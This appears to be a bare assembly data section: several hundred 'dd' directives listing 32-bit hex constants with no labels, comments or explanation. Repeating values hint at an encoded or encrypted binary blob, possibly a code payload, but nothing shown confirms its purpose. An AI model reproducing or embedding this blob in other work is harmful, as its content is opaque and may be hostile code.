		dd 1A60372Eh, 15661BB3h, 0AA69E832h, 0CBE722C9h, 9C07A205h
		dd 7F9CB7h, 15766134h, 16394432h, 0D01F968Ah, 0BFAE027Fh
		dd 1948D4CBh, 21994146h, 0D1E77B16h, 15661136h,	156681DBh
		dd 0D260BD32h, 6DD6D09Fh, 0A0992372h, 137391BFh, 0E8D3BBCBh
		dd 1A603718h, 156619B4h, 17EB8732h, 75664432h, 156ACB53h
		dd 331F1132h, 0AE58F321h, 76F8C2B2h, 4B0E99A0h,	9C661159h
		dd 9569AC0Eh, 15664423h, 156DAD3Dh, 138F1132h, 4F668832h
		dd 0C703CFD4h, 1572CB56h, 35001132h, 0CCD8E016h, 0F4E87AB6h
		dd 4D28FE15h, 3C1AB480h, 0A0998D6Ch, 13735983h,	4F8FA252h
		dd 15661FDAh, 0BDD4A532h, 0E5929C35h, 2AEF4A87h, 1A86F91Fh
		dd 156688BEh, 98071F32h, 0ED37CB7h, 48F7134h, 0DE668832h
		dd 7CE4FF82h, 0CE239B3Eh, 0AD2F72Fh, 5005CFC8h,	1566CC3Dh
		dd 0EA072232h, 9867E8E2h, 1373A44Bh, 1561C33Dh,	73062232h
		dd 7406CEB9h, 98DB0353h, 0ED60512Bh, 3F9B97B9h,	43061727h
		dd 156684DBh, 4DA8EB32h, 0CD05500h, 248330CBh, 80DDD062h
		dd 743EFC8Bh, 1571A43Dh, 78F1132h, 33668832h, 8B887CFDh
		dd 0C20F6D69h, 462DDD42h, 0DF0ABF55h, 75C2B72Ah, 94006D86h
		dd 74F01CC5h, 84D303CAh, 1A605138h, 156629B2h, 1560F832h
		dd 555B8832h, 281240B3h, 0F9E5DA9Fh, 31629836h,	0F315318Ah
		dd 0E9208335h, 1280518Bh, 4D9A5703h, 1567013Dh,	0D49A4432h
		dd 730627F2h, 9400EFB9h, 741301C4h, 155DF35Ah, 316AAB32h
		dd 0CE23458Bh, 4CAE8953h, 24E347CAh, 0E0603732h, 0CEB9CB9h
		dd 1F8F8E27h, 0D6664432h, 0C085ABE6h, 6B336C27h, 0DBEDE8F7h
		dd 156655DBh, 90CF0032h, 0F4C72AE6h, 6FA910C2h,	3781B5EAh
		dd 7D070170h, 1566691Eh, 9A4284BBh, 14E64B32h, 0EC662232h
		dd 1A06BCCEh, 156688B4h, 0CC95C532h, 743B7E79h,	15789B3Dh
		dd 92698832h, 1566442Ah, 156631DBh, 0FDD61332h,	69B818BFh
		dd 2015D10Ah, 0F35F215h, 8DF9DA8Bh, 45843361h, 94255084h
		dd 1AD753F1h, 0E938986Ch, 0E9080969h, 285C1603h, 0F79A6CB3h
		dd 944B1728h, 507B7474h, 73068642h, 7365368Ch, 9C07CBB9h
		dd 6C1987h, 9A692434h, 15662230h, 0A1067052h, 74A702BCh
		dd 0EA9EC753h, 15FBA73Dh, 1D8F1132h, 2B668832h,	0A38FAEC1h
		dd 9488D0F9h, 0C8BBCC0Ch, 91E387EFh, 75664432h,	15DC7053h
		dd 14661132h, 15644FC0h, 9E664432h, 0D1E50626h,	156AF836h
		dd 343F8832h, 80EA7777h, 8584ADCDh, 463365CFh, 15668C89h
		dd 4EBBCD32h, 1A3BCC33h, 15661DBFh, 13EE8732h, 1A664432h
		dd 156622B2h, 84D39832h, 1A609D38h, 156659BFh, 2EB2D32h
		dd 0FC661132h, 15668820h, 0A3195918h, 0F2BA2C23h, 6A9A2315h
		dd 0FA83572Dh, 0D58F3DE7h, 0E999DDE6h, 15661BDBh, 85CE0D32h
		dd 0AB9E1851h, 0D408525Bh, 169F12F2h, 66B9B7h, 156EAD34h
		dd 3B7B2232h, 7551AA91h, 0A8E52D44h, 13735007h,	89E22D33h
		dd 0FC661131h, 15668839h, 0DFD708BAh, 4DB8B619h, 947BB550h
		dd 0BFCC220Ch, 0DFE34B98h, 1A662232h, 156605BDh, 15696132h
		dd 4B284432h, 6D573F2Eh, 0E8AEFDF9h, 0EF36494Eh, 11DC1680h
		dd 94662232h, 214A0CF4h, 94B0891Bh, 214A59DCh, 188F781Bh
		dd 4A661132h, 0D533BF24h, 0F00B5FC9h, 0E5394047h, 15DF4067h
		dd 9C668832h, 7BEF1DFFh, 1A067FCEh, 156617BBh, 15E48732h
		dd 1A664432h, 156627B2h, 0DBE77732h, 0EC07232Eh, 11ED1362h
		dd 11A2A316h, 4A661132h, 90697152h, 15664430h, 75077B63h
		dd 7EA6A954h, 0A734D953h, 4FB3CC3Eh, 0D898E7CCh, 9DBBD4B2h
		dd 0FC06D1DAh, 15664421h, 0A1962FB9h, 4E8DB383h, 0DABEC068h
		dd 404FB88h, 1A97AB30h,	0FC07EA85h, 1566880Ch, 156DCF3Dh
		dd 138F2232h, 14661132h, 0D8DD495Bh, 9E3114D8h,	0D1E70636h
		dd 15661136h, 18E5876Dh, 75664432h, 0D5FBCCB3h,	940064A4h
		dd 740FA0EBh, 155BAB5Ah, 3172AB32h, 0E5EEF984h,	9C347468h
		dd 11A4C5D0h, 96662232h, 1E115D8h, 11EFD416h, 0D9DD2416h
		dd 0AB0928B4h, 4B36CF2Fh, 0F8DB0B53h, 1460511Eh, 142CA63Dh
		dd 0AD931132h, 34A6F29Eh, 0E1BFF61h, 0C6916FA3h, 0E6E7CAC5h
		dd 3D63ADBDh, 0F6B797C5h, 0EC5ED1B3h, 0CD6773B8h, 138E4969h
		dd 63BE7172h, 1A8F23D2h, 0CF661132h, 5143A4E2h,	31ACB451h
		dd 1BEFABB8h, 0A8E5C376h, 137A0F50h, 1E24B32h, 75662232h
		dd 9807E4CBh, 0EAFCBAFh, 14EF4B34h, 0ED662232h,	959EC2CDh
		dd 9169180Dh, 1566447Dh, 16E62D52h, 95661132h, 94001EC6h
		dd 744196FCh, 4DDE7260h, 0E26F2B61h, 202EC8E2h,	0E3A3E890h
		dd 143EE0BBh, 73064BE5h, 0C66C57B3h, 0FC07BCB9h, 1566238Dh
		dd 1573953Dh, 58F8832h,	0D8664432h, 0B9456508h,	199E7BEBh
		dd 509EA1ACh, 965F7226h, 976972CAh, 156611BAh, 156E013Dh
		dd 1A064432h, 156622B2h, 7D007032h, 9C00991Ch, 85D5602Eh
		dd 4E00FABAh, 156600DBh, 0FA564932h, 8EC4C584h,	805D0AEAh
		dd 0BF5981A6h, 75CC68B4h, 7394FB3Dh, 74AFD78Dh,	464215B9h
		dd 0D6E76BBBh, 15664436h, 9262E1B1h, 1A3A352Eh,	15668CB1h
		dd 4B362432h, 1F8F8853h, 69661132h, 177EE79Bh, 451963B8h
		dd 19EB2D1Ah, 1A661132h, 15668EB2h, 15E34B32h, 0FC662232h
		dd 156611BEh, 1567043Dh, 0EC934432h, 4D4216CDh,	1562D5B3h
		dd 9F698832h, 15664426h, 15662DDBh, 0E1672332h,	2A02BB9h
		dd 0B9894263h, 63FAEA37h, 6AE6E898h, 906961CDh,	15664466h
		dd 156632DBh, 5200ED32h, 8887ECADh, 10274E47h, 90734F39h
		dd 77DB92FAh, 156094B5h, 1571C03Dh, 43062232h, 15669F3Dh
		dd 73388832h, 980793B9h, 0EAE68AFh, 0C699E434h,	311DE0CAh
		dd 19EF4432h, 15629B16h, 0EC671132h, 753F89BAh,	7391CF54h
		dd 74A5BF88h, 0CEB94B9h, 9E698E27h, 1566443Ah, 1564AB3Dh
		dd 74061132h, 156A093Dh, 92694432h, 15662234h, 15669B3Dh
		dd 0E5638832h, 3C5DEB65h, 45D874CAh, 94398113h,	0A858D8D4h
		dd 7588C50Ch, 3C84C2FAh, 94064FC2h, 4E8BA3E2h, 0F7E72219h
		dd 7D07167Ah, 156621A1h, 0A842A4BBh, 15664436h,	753BCA1Bh
		dd 156605DBh, 7A22E932h, 2550F9BFh, 0BE757478h,	4F5FCBFFh
		dd 0A599786Ch, 1CDE22FDh, 1ACD43D8h, 15661BB7h,	0E2EDE832h
		dd 1566C93Dh, 0B8072232h
		dd 1567933Dh, 479A8832h, 200A8F5Ah, 3172A90Eh, 9462D5B1h
		dd 0DFF5BDF0h, 0E930CDF1h, 758FDB68h, 0ED99EEC9h, 1FF73DBBh
		dd 469E4227h, 0D6E7C1BBh, 15661136h, 156263B3h,	9E14432h
		dd 1EF7E16h, 150EE916h,	1A6688B2h, 156645B7h, 150CDE32h
		dd 156617DBh, 0EF081232h, 0EA2C2C12h, 6D8787h, 94067134h
		dd 0C87147DBh, 1569AD4Dh, 8EB12232h, 591264CDh,	0E9D70E4Fh
		dd 683C1AD6h, 0AE004306h, 0EA073560h, 60D9A7h, 1DE24B34h
		dd 1A662232h, 156613B9h, 9E07E832h, 9C376026h, 11A7A3D3h
		dd 96661132h, 19E18CF3h, 93691816h, 15662239h, 4CA69052h
		dd 95365BF8h, 9E0762F5h, 7F6FBFh, 0AC007134h, 0FDE69039h
		dd 0AB3025C3h, 15662232h, 21ED20BBh, 11A20B16h,	0E6ED2252h
		dd 0F966F5B3h, 46073E4Ch, 15668C89h, 9EBF4532h,	0D1E7062Eh
		dd 15661136h, 156684DBh, 0D84D0D32h, 18362868h,	0DA5E7765h
		dd 58EB0128h, 1A60512Bh, 156631BEh, 1568F832h, 3B458832h
		dd 0B121F1BBh, 0A2C28ED2h, 0C2DD12E2h, 0EAA133DBh, 0A03024CDh
		dd 0FC0779B7h, 15661120h, 0A69F636Ah, 89FB5A04h, 97930807h
		dd 68BADD61h, 8A8FC3A4h, 0EC664418h, 1569CB52h,	710E1132h
		dd 9DE933Ah, 0F6B61325h, 0DB8F660h, 58EB9A79h, 0FC609D2Bh
		dd 1566443Ah, 98BA5ED0h, 5BA6736Eh, 19EDB9CDh, 11A2C716h
		dd 0FCBCA952h, 15661126h, 321DB23Bh, 521ADFB4h,	0B8D7FB77h
		dd 0B9AA529Eh, 67A4F5C2h, 4BEBCD53h, 0FC603EB5h, 15661126h
		dd 0ED3D398Dh, 23C18085h, 75026288h, 0AF05176Fh, 52889BD9h
		dd 41287CB3h, 90696E76h, 1566115Bh, 15668EDBh, 207BBC32h
		dd 0EC2E7993h, 111E9054h, 9069A67Eh, 15664463h,	1567A93Dh
		dd 7D9E1132h, 1566FCDBh, 4B4240BBh, 15662EDBh, 0D29A4B32h
		dd 15327E01h, 9ECCE624h, 13DB777Bh, 94661132h, 8E1328F4h
		dd 9488457Eh, 8E1382DCh, 9E9A4C7Eh, 769DB7h, 918FB834h
		dd 1A662237h, 156619B1h, 9E00E832h, 0E6A5C4CCh,	607D4A53h
		dd 11EF1132h, 9569D616h, 15664437h, 0DDED4452h,	58F7153h
		dd 8B668832h, 7FF9899Ch, 7BE37BCh, 8C5A7751h, 1A419933h
		dd 4307928Dh, 0E7EFE4BBh, 944225B9h, 15668CF6h,	1E14B32h
		dd 0FC662232h, 1566113Dh, 0ADA0D223h, 0AA9F1B53h, 0F4B1F259h
		dd 241C2BFCh, 156361FBh, 19234432h, 0B9EE3AE7h,	15799E3Dh
		dd 96698832h, 1566442Bh, 156636DBh, 9FFA0D32h, 0C8443083h
		dd 0E13751A3h, 0D2FA0E9h, 9F2462FEh, 155A7055h,	140FC03Dh
		dd 299E2232h, 0DDE21E1Fh, 1A9977CDh, 156646B6h,	29074232h
		dd 0A8E21E1Ch, 1A668832h, 156645B7h, 255ADB32h,	10E2933Dh
		dd 75068832h, 1566C73Dh, 0A2692232h, 750770E8h,	746E57B2h
		dd 93697D0Eh, 0EA99DDBDh, 1568F852h, 36B8832h, 237805A7h
		dd 5AED0261h, 17E5B3ABh, 545AE9CEh, 102AC63Dh, 138F2232h
		dd 0C0661132h, 0CDEC45E9h, 1A3C7813h, 0EA997CB4h, 1561F8CDh
		dd 0C7998832h, 0C2D00954h, 1A391E05h, 0EA995BB6h, 9069E8CDh
		dd 15664433h, 0D1A8A3CBh, 746A1619h, 9769E90Eh,	1566413Ch
		dd 1561AD3Dh, 9C691132h, 15668833h, 1A1C78CEh, 0EA993CB4h
		dd 0FC9EE8CDh, 15668CC0h, 156BAD52h, 7CC92232h,	0D43F8645h
		dd 0A30816B9h, 1AF4C780h, 156620B3h, 749D9A32h,	15673765h
		dd 0EF674432h, 1569CB6Dh, 25791132h, 7AB55CCFh,	0E8472550h
		dd 0B2FD3D29h, 0CAED7125h, 0D08B47B3h, 2C0745C1h, 0B2E22DC0h
		dd 1A661136h, 156691BCh, 1572AD32h, 53B42232h, 46F76203h
		dd 13AE07F7h, 9B1EBAD2h, 3439FBC9h, 0AC3723A1h,	0EA9977CDh
		dd 0EC3F8E33h, 1567AA3Dh, 47931132h, 0EA997788h, 4FB76DCDh
		dd 1572CBCEh, 0E6471132h, 6EFEB465h, 68DB6EFFh,	0EB7E197Fh
		dd 0BEDAA652h, 618FC3F6h, 7599BBCCh, 94B6A954h,	0BDB3FE9h
		dd 909AE90Ch, 2EE24BFBh, 0FC662236h, 1566113Dh,	22C5420Bh
		dd 9360C20Ah, 72F0E06h,	986F8938h, 44B187h, 13E74B34h
		dd 75662232h, 0C03CA954h, 19EDDA53h, 11A2C516h,	1A662232h
		dd 156619BCh, 0AE00E832h, 74067753h, 14EE2D53h,	0ED661132h
		dd 9C6264B1h, 39E76026h, 686B4316h, 0D2E74E22h,	51B8553h
		dd 156641DBh, 0DBD4C132h, 45379337h, 0F1E6A386h, 4882C467h
		dd 9582E6B2h, 0E1E6BEFEh, 4D87003Dh, 0E4E68DCCh, 4CAEAAC3h
		dd 156616DBh, 7971B332h, 3F3A5198h, 0E99B579Ch,	0CCD847C7h
		dd 3C50A57Ch, 0EC4F1AC3h, 5BBFE3B3h, 0A106271Fh, 158809CFh
		dd 742E051Ch, 156DCA52h, 0ECF51132h, 9145D7F9h,	6EE595DAh
		dd 4A0742FCh, 0D798BE8Ah, 0EA37E927h, 191603Eh,	93697B16h
		dd 15661138h, 15668DDBh, 71E20B32h, 0AD36FF46h,	1C194B8Ah
		dd 386260F3h, 6FA76489h, 10579F07h, 3B063472h, 0F5A79E2Ah
		dd 59117134h, 0D24F1313h, 94A9386Ah, 3D3AFFF5h,	156FAD07h
		dd 40BA2232h, 0B085C855h, 0ED931F71h, 118AC565h, 9C662232h
		dd 4B393506h, 156699DBh, 0E4F5732h, 38AA70D9h, 9B2C0915h
		dd 7CFFDC07h, 0B1956ABBh, 1560A23Dh, 75061132h,	74953853h
		dd 0D50BF462h, 184A21DAh, 9E9956BAh, 0D1E7AC36h, 15664436h
		dd 156624DBh, 193AE632h, 982DB090h, 447DA7h, 1DEB2D34h
		dd 1A661132h, 15668ABDh, 9E072432h, 62A3B7h, 156EF834h
		dd 67DF8832h, 533B6407h, 0D5E35638h, 1559943Dh,	0D3938832h
		dd 6F81B7h, 9B696534h, 15661133h, 0B2B4E0CEh, 0EA9A90A8h
		dd 4E3387h, 1576F834h, 0E5168832h, 88189943h, 796D3C0Eh
		dd 0F2AEB70Ch, 90EB4831h, 137E368Eh, 75B6DDCAh,	0ECED77CAh
		dd 0F6EFDB53h, 156287B3h, 0FEE72232h, 15661136h, 494294B5h
		dd 754250BBh, 156629DAh, 0A087DD32h, 9B9E449Dh,	6E16F49h
		dd 5486A354h, 749E4BA7h, 0FC0658CDh, 15664421h,	0F189AC16h
		dd 7F2997D1h, 26C4612Ch, 495403D1h, 0FCE1660Bh,	1566113Dh
		dd 0E6443651h, 84675D1Ch, 2819C8E3h, 747A58DCh,	16EA8752h
		dd 1A664432h, 9469E185h, 15661131h, 746A69B2h, 906984B7h
		dd 15662311h, 156618DBh, 0E9A55532h, 58B30F2Ch,	18F9011h
		dd 3B661132h, 37F95D3Fh, 0A89503B8h, 8A3F8F3Eh,	0A8528C34h
		dd 9E7777A5h, 6191B7h, 0D5E3DE34h, 150C943Dh, 0A1068832h
		dd 156AADFEh, 0B8E42232h, 46C5974Dh, 598CA44Dh,	0D307A829h
		dd 6FE7B7h, 91695D34h, 15668820h, 156649DBh, 7879FF32h
		dd 58997293h, 1E2E2B87h, 0FC0E9ED4h, 75BFF82Eh,	74919A54h
		dd 3D773DCDh, 0ED934227h, 67DAA7BFh, 138F172Ah,	66668832h
		dd 0FDF18453h, 75B6DD18h, 15609B3Dh, 0FAE78832h, 2EFDB31Ah
		dd 0ED077A62h, 94819865h, 15668CF5h, 1189C532h,	92662232h
		dd 9C3A350Eh, 78FAC26h,	0DB664432h, 6377AC1Ch, 0B8CB29D6h
		dd 91D736A2h, 7FFEE164h, 1577CB03h, 37471132h, 0D584971Eh
		dd 0E341AFFCh, 3D81E5C2h, 0EAE22122h, 10E687E2h, 75664432h
		dd 74BEA9C7h, 9069D1B7h, 15668819h, 0FFE72252h,	0FC063C41h
		dd 15661138h, 0AED94172h, 97E1A0E1h, 0AA69910Fh, 0FC0770CDh
		dd 156688E0h, 0D3ED2252h, 0A774CBB3h, 9C071134h, 9E1D6B7h
		dd 0C7E62434h, 0F2D944EFh, 9C37700Fh, 11A709D3h, 94664432h
		dd 156626DBh, 316A9632h, 3162016Eh, 156FADCEh, 11C72232h
		dd 0C913C626h, 46EAC586h, 0D6E7A7BBh, 15662236h, 9262FAB1h
		dd 9C3AAC2Eh, 48F6006h,	0A9662232h, 64172DCCh, 7F39B45Eh
		dd 67C29FCh, 5EF431DDh
		dd 995994BFh, 0FC068E2Ah, 15664423h, 88BB545Ah,	0DAEE7E6Bh
		dd 0F3D91658h, 4648C974h, 0D6DC44EAh, 0C599703Dh, 1567083Dh
		dd 1E9F4432h, 0EE32DF2h, 0ED661132h, 15610F3Dh,	93694432h
		dd 15662233h, 1542F8CEh, 73068832h, 50609DB3h, 51EF43CAh
		dd 68F0D16h, 0D0668832h, 955B158Eh, 0CC6C5FDAh,	8C30C5Ah
		dd 189E2972h, 7507385Dh, 1A77EBB2h, 156613BDh, 74123F32h
		dd 0D7ED24F1h, 3AB00E89h, 1E8F703Ch, 28668832h,	8F7E131Dh
		dd 0C9BF043Dh, 1A06640Ah, 156689B0h, 98EDBC32h,	137AA56Ch
		dd 1561943Dh, 91698832h, 15664433h, 49704ACBh, 11EF1132h
		dd 14E88716h, 0ED664432h, 42ABAB67h, 0EDEFFEBBh, 4693D56Dh
		dd 15667889h, 14A5A332h, 1429A342h, 148D09F1h, 1629F642h
		dd 7D9E7931h, 1566114Fh, 0AC4284BBh, 156644BAh,	4EDE333h
		dd 80EFE46Bh, 13738527h, 0F6DD17CAh, 94086122h,	8A3ED3F1h
		dd 0F6E7CB25h, 65C0F45h, 43A1C1B3h, 0E6E74B14h,	5A36E36Ah
		dd 3F00FC62h, 0D64F6D40h, 4EBE106Ah, 9EA40352h,	0F50E25E8h
		dd 9C662233h, 19DD352Eh, 14668832h, 4E75CFF1h, 156631DBh
		dd 4A2F1232h, 2390FD23h, 206CA5C9h, 6918C1Ah, 5D5C3548h
		dd 214B1DBBh, 0E09F4227h, 434226B9h, 0D3E7F7BBh, 15668836h
		dd 926282B1h, 0FC3A0606h, 15661134h, 0C2C4ADE8h, 61998D71h
		dd 11ED0616h, 11A29216h, 156E083Dh, 98694432h, 15662230h
		dd 8B637052h, 10637156h, 1B316D03h, 244BEA1Bh, 3868461Bh
		dd 109FECACh, 1561C93Dh, 42062232h, 0EED11E6Dh,	38E3B353h
		dd 1A605106h, 156664B0h, 9E9A7132h, 2E9EE9C8h, 6B51B7h
		dd 21E52D34h, 1A661132h, 156689BCh, 1A07B832h, 156626B2h
		dd 89D77132h, 15624A53h, 157FC73Dh, 18F2232h, 0A3661132h
		dd 0CDFD2AB3h, 81F37F1Ah, 93CC1DA2h, 4ACC6FD2h,	74657EFAh
		dd 316283CAh, 5C787577h, 944205C5h, 76CEAC36h, 21E71534h
		dd 0AB3C4316h, 3162906Eh, 4FF9C57h, 944240CDh, 111F0606h
		dd 39E704BEh, 83465816h, 314AC531h, 60AB6F72h, 9A909052h
		dd 734F4DA8h, 75078BB9h, 4307E5B9h, 67297961h, 943DD272h
		dd 204D51C1h, 4F8DA361h, 9C6F646Bh, 61EFD3ECh, 1A384C16h
		dd 156632BEh, 156DF832h, 0E3998832h, 0BB6B758Ah, 0FA137230h
		dd 94DB4457h, 940E3825h, 7F7DB7C7h, 0EA8BA315h,	9499EECDh
		dd 65144D7h, 828BC529h,	945E6F45h, 317ED5C7h, 7D930914h
		dd 9C92A4A6h, 1A067FDAh, 156611BFh, 0D4E7D832h,	5AD192B0h
		dd 98EB4368h, 13735EACh, 1567023Dh, 0EA9A4432h,	7506DBD3h
		dd 0EDBFC489h, 7407395Fh, 156649DBh, 39E35332h,	0B4FC13BAh
		dd 0BC1BC9A0h, 46340B5Ch, 0E4223489h, 5170AB10h, 0CF4FAAC3h
		dd 9F944569h, 299F7830h, 78E21EDBh, 0FC668833h,	1566443Dh
		dd 0AF7BE504h, 0A652FA57h, 71C915B1h, 758F9FC3h, 1A9DA954h
		dd 2907D185h, 0A6E287DAh, 75664433h, 1563A43Dh,	94001132h
		dd 9480A4DCh, 9E861CD5h, 1A5A4311h, 1505953Dh, 299A8832h
		dd 0EDE24BFFh, 0E9662233h, 9169FA0Eh, 15668A5Eh, 156649DBh
		dd 26445C32h, 0EB970051h, 6FFBCC2Dh, 9469A1BCh,	15662226h
		dd 15661EDBh, 3A3F5532h, 0E1891A01h, 50A0D33Bh,	0C95F95E0h
		dd 19E98753h, 0FC664432h, 15662235h, 846B8387h,	0D6911F17h
		dd 156648DBh, 608A6432h, 4A4D6251h, 0AEE51971h,	14DF1565h
		dd 14662232h, 15DE41C3h, 14668832h, 4D7ECEFAh, 1BEA2D6Bh
		dd 75661132h, 9D0442B3h, 0CCE76541h, 65DE1464h,	4400E453h
		dd 0FE467887h, 316ACF54h, 0FC64E6B1h, 1566113Ah, 353FCC59h
		dd 0FC54A6A3h, 1AE6D9B2h, 0EA999EB7h, 0C6E7E8CDh, 30C613C0h
		dd 1560A03Dh, 0DDE71132h, 5CF47F92h, 0AA692453h, 4307DAF8h
		dd 96420DB9h, 0A6068CF6h, 463025ECh, 5A63B989h,	0D6E75A53h
		dd 8BD6725Eh, 143D9ABBh, 48F7CC1h, 0C8661132h, 0C86ECEC9h
		dd 0C1747F7Dh, 0A97FF12Ch, 9F2F4517h, 15643062h, 0C04B4432h
		dd 14101424h, 3B314C2h,	0D65FE04h, 0C58FBD6Ah, 75662232h
		dd 1563923Dh, 36DC8832h, 754F4B03h, 73AD953Dh, 7407DEB9h
		dd 9467FECDh, 52306006h, 403D5FD2h, 0B36CF28Fh,	94B37F48h
		dd 5B5AD4D7h, 94B3D501h, 0F8612FF7h, 6A30939h, 9470D50Bh
		dd 0C32D34C7h, 488D206Eh, 25773652h, 9269182Bh,	15662236h
		dd 4CD5AE54h, 0EE9D0B53h, 1459C03Dh, 9B692232h,	15661128h
		dd 15766152h, 0F0044432h, 73CE706h, 4B98DFCFh, 298BF1FEh
		dd 9E00EBFCh, 463043C5h, 2B49AE89h, 313AA17Bh, 943D1F36h
		dd 2B499DF1h, 0AF34E47Bh, 15668833h, 1DD9AEB3h,	0E7672BC2h
		dd 1DD9D3B3h, 0F6581C2h, 9C69BD68h, 15662233h, 10DE41CEh
		dd 94668832h, 0C82C7AF1h, 94A52315h, 0C82C2FD9h, 0EC06D015h
		dd 2DED8FB3h, 0FC0763C6h, 0EA99EF62h, 74BE0252h, 156FCA3Dh
		dd 0AA062232h, 7E4AC83Fh, 1A07D161h, 75671A84h,	1565A73Dh
		dd 0E4E61132h, 156061FCh, 0C644432h, 81C0301Fh,	1A8F7153h
		dd 57668832h, 0F6BC2B49h, 942A5A6Eh, 1E68D7AAh,	1A060ECEh
		dd 156644BFh, 74397032h, 3B8D9253h, 0E89C0C3Dh,	0FC06BBCDh
		dd 15662239h, 6631615Ah, 6CA55CDh, 1A87C3EBh, 15662EB0h
		dd 1561F832h, 978C8832h, 0F03D9830h, 5F8F4361h,	75661132h
		dd 0A4375E8Ch, 0CBED2225h, 14E42D53h, 0ED661132h, 0EB67F6B2h
		dd 0E8D0C13Dh, 4406DDCDh, 156619DAh, 0F9E7D032h, 0B7C620Ch
		dd 1A3F7C2Bh, 156606B5h, 15776032h, 4C7E4432h, 9FD1AC6Eh
		dd 0A50821E8h, 3E7B36F6h, 4A107663h, 0E963CB53h, 9E06EECDh
		dd 157560E3h, 5D324432h, 90DEF830h, 0E51B6F8Fh,	9DC0F6F6h
		dd 3EACF57Eh, 4A6595A6h, 3D267953h, 21EF8832h, 1569AD16h
		dd 0BB0B2232h, 0D65B4390h, 456EEBAEh, 0B5947909h, 0CFE74230h
		dd 7D203100h, 1090E053h, 19EF4432h, 14E02D16h, 0EC661132h
		dd 94810165h, 156640F5h, 1189A132h, 49422DB5h, 754294BBh
		dd 0D574FF54h, 1566A13Dh, 7D071132h, 15669EC0h,	0FC4278BBh
		dd 1566223Fh, 5665C9BEh, 8D29AC67h, 0E47CDF26h,	0FCA61303h
		dd 15661120h, 173DBB28h, 719699C9h, 9C949E22h, 6A607033h
		dd 0FCCA5D0Bh, 1566443Fh, 0E464CB8Ch, 96FEA53Bh, 88E6F042h
		dd 0D4EE15ECh, 19EDE9BAh, 11A29216h, 4700D9CBh,	0C4EE1780h
		dd 0FCE67854h, 4CAD3151h, 659D08C7h, 105AC03Dh,	75062232h
		dd 1566943Dh, 0E0E68832h, 29072592h, 0C2E22D3Dh, 0FC661132h
		dd 15668834h, 9EE565DDh, 0FC5AC792h, 1F99953Dh,	91698832h
		dd 15664435h, 1567A73Dh, 299A1132h, 0F9E287D9h,	1A66443Ch
		dd 156620B5h, 75077132h, 156B6152h, 0A0FF4432h,	7A2A3C65h
		dd 5E86ED7h, 741FF294h,	0F65A25CBh, 1677A63Dh, 1C8F1132h
		dd 48668832h, 6FB4EFB0h, 0B89211FFh, 9169F30Eh,	156698B1h
		dd 0E8ECB852h, 3152DD53h, 11A2926Dh, 15668FDBh,	19CC0932h
		dd 0E95C6202h, 46420DB9h, 0D6E76BBBh, 15664436h, 1562E1B3h
		dd 9E11132h, 138FD416h,	0D3664432h, 0D4DCD3A7h,	3152EED4h
		dd 11A20B6Bh, 13E74BC7h, 75662232h, 3D39AF54h, 31527753h
		dd 11A2C56Ch, 75662232h, 4C077163h, 0FC064B53h,	1566443Fh
		dd 0D8C27061h, 0FDEBA19Fh, 0C0314A72h, 90A12503h, 137AAA1Ch
		dd 15661134h, 15670F3Dh, 459A4432h, 1566228Ah, 25F21432h
		dd 0E567B8D4h, 0F356D01Fh, 4D7EA802h, 73BC9A52h, 4C0857B3h
		dd 45342253h, 0D9989C86h
		dd 9DABFDB2h, 0C646D0D0h, 1A061E54h, 9400E085h,	74FBC0FDh
		dd 1AE673B2h, 0EA9904B7h, 0AD36DACDh, 0EA99EECDh, 1A3E4E33h
		dd 156645B9h, 90EDDE32h, 13731673h, 0D2E67052h,	80ED2535h
		dd 13730403h, 156605DBh, 0E46C0D32h, 29900FB3h,	8B070B3Bh
		dd 6922B1D6h, 84EF6A6Ch, 749A241Bh, 156C075Ah, 31529832h
		dd 0F9E77D69h, 15664436h, 0AF4236BBh, 15661134h, 753C5B33h
		dd 5DF36F8Dh, 930E437Ah, 9C66113Ah, 17DEAC36h, 14664432h
		dd 4D7E21C2h, 1ABE2ACAh, 15669EB0h, 0CF5DBC32h,	0EBDDA43Dh
		dd 9669EECDh, 15668835h, 1567CD3Dh, 479E2232h, 0F2E4788h
		dd 0DFE7CA4Ch, 45DC3E42h, 0D7E7F0C5h, 2D890658h, 0D7E752C5h
		dd 0E4CFA580h, 3C3CF133h, 0D58D90C9h, 0E051FD76h, 1560FC62h
		dd 0D64F2232h, 944215B9h, 15668CF6h, 14E64B32h,	0E0662232h
		dd 9769BC54h, 15668835h, 1567CA3Dh, 739F2232h, 1561F899h
		dd 290F8832h, 8A5BB218h, 1572CBE8h, 51511132h, 27FF4C7h
		dd 0B22E1B18h, 9D426248h, 66D0D058h, 0CD57419Eh, 0CD578703h
		dd 420689CEh, 1566993Dh, 0E03F8832h, 11DE1453h,	94662232h
		dd 0FA79F2F4h, 94A0896Fh, 0FA79A7DCh, 1A8F7A6Fh, 0F661132h
		dd 0E06E6608h, 43E076Ah, 558314AAh, 1A065CABh, 0AC004B8Dh
		dd 9C075D16h, 1A8F060Eh, 0AB661132h, 4B8115B9h,	0FA084DC9h
		dd 0A7EC3DF6h, 61EFDF3Dh, 1A068416h, 156646B9h,	1A3F7132h
		dd 156610BAh, 0FC077D32h, 15664420h, 2C2667AEh,	78C65292h
		dd 0CCA0F53Eh, 0A29B218Eh, 0A0EFC401h, 13731743h, 15610F3Dh
		dd 9A694432h, 15662233h, 1574F8C7h, 0B76B8832h,	2E310CDDh
		dd 97E3C5E8h, 18F3DB71h, 3C42B7F8h, 4A4270CDh, 0FC62E6B1h
		dd 15661138h, 52984E5h,	0D2300283h, 9ED73CFh, 0F6EF4216h
		dd 15624BB3h, 0D6E54432h, 317AA536h, 1569F86Eh,	39F48832h
		dd 3F45815Dh, 9CF49B81h, 986F59D3h, 31527795h, 11A2C76Bh
		dd 1567A83Dh, 0EA931132h, 9438AC06h, 156640F6h,	1563CB32h
		dd 47DA1132h, 449831F5h, 0D4E7A5BBh, 15662236h,	9262D0B1h
		dd 31EDAC3Eh, 0E2ED2416h, 0CA91CB53h, 0D293EECDh, 9EEA6B7h
		dd 15664634h, 94304232h, 772BCEE5h, 0C6EDD756h,	798A2C53h
		dd 1EF2232h, 9C949816h,	9F69D2E1h, 1566443Ah, 1564AD3Dh
		dd 74061132h, 75683E3Dh, 1ABCF33Dh, 156620B2h, 74077132h
		dd 1AE671B2h, 156619B1h, 0AB30D732h, 6E320AD9h,	14387B1Bh
		dd 0FEA5C5F9h, 751D7629h, 0D48D9054h, 4C9EDBFAh, 156BAD53h
		dd 0DCD82232h, 1BF44D2Fh, 5C1DDC2Dh, 43E24C75h,	1566238Ch
		dd 4B951032h, 17EE8752h, 0A7664432h, 0D7ED7341h, 108F7068h
